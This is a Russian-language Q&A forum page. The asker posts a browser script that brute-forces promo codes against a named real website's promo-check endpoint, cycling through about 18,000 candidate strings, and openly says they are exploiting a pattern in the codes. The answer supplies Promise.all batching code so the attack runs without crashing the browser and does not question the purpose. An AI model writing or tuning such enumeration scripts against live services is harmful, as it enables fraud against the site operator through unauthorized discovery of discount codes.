Браузер падает при большом количестве запросов к серверу

69
25 апреля 2021, 18:50

Как сделать, чтобы браузер не падал при arr, состоящим из 18000 7-ми символьных строк? Например, дожидался, пока придёт одна пачка из 20 запросов, потом вторая, а не просто по фасту наполнить память одними исходящими запросами.

Это брутфорсер для промокодов на одном сайте, я нашёл одну закономерность и пытаюсь эксплуатировать.

for(let testword of arr){
    $.getJSON('https://client.iqmining.com/promocheck', {promocode: testword, life: "y1"}, function(data){
        if (data.discount > 0){
            console.log(data.discount);
            console.log(testword);
        }
    });
}
Answer 1

Можно сделать с помосщью Promise и Promise.all

Рботает как просили, отправляем запросы пачками по 5, ждем пока пачка отработает полностью(Promise.all) и запускаем следующую и так пока не закончатся запросы.

Примерно так :

const all = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20], 
  packageCount = 5; 
completeAll(all, packageCount); 
 
function createPromise(a, i) { 
  return new Promise(function(resolve, reject) { 
    setTimeout(() => { 
      console.log(a); 
      resolve(a); 
    }, 250 * i); 
  }); 
} 
 
function completeAll(arr, pkgCnt) { 
  let tmpArr = [...arr], 
    promises = []; 
 
  for (let i = 0; i < pkgCnt; i++) { 
    if (tmpArr.length === 0) break; 
    promises.push(createPromise(arr[i], i)); 
    tmpArr.shift(); 
  } 
 
  Promise.all(promises).then(values => { 
    console.log('package completed'); 
    if (tmpArr.length > 0) 
      completeAll(tmpArr, pkgCnt); 
  }); 
}

ПС : важно учитывать следующее

Если одно из переданных обещаний будет отклонено, Promise.all будет немедлено отклонен со значением отклоненного обещания, не учитывая другие обещания

Как выход с етой проблемы в вашем случаи предлагаю просто резолвить промисы в любом случаи, не важно успешен запрос или нет, а потом просто анализировать результаты.

READ ALSO
JavaScript: функция передаётся по ссылке или по значению?

JavaScript: функция передаётся по ссылке или по значению?

Нигде не нашел однозначного ответа на этот вопрос

114
Как открыть нужный слайд в owl-carousel2 по клику?

Как открыть нужный слайд в owl-carousel2 по клику?

При клике по ссылке мне нужно открыть в модальном окне (на materialize-css) определенный слайдПытаюсь сделать как здесь, но открывается все равно...

73
Как я могу выполнить QSqlRelationalTableModel::setFilter с оператором &#39;WHERE&#39;?

Как я могу выполнить QSqlRelationalTableModel::setFilter с оператором 'WHERE'?

Как я могу выполнить QSqlRelationalTableModel::setFilter с оператором 'WHERE' ??? Для примера:

70
Реализация shrink_to_fit для множества векторов

Реализация shrink_to_fit для множества векторов

Есть шаблон класса, хранящий множество векторов:

68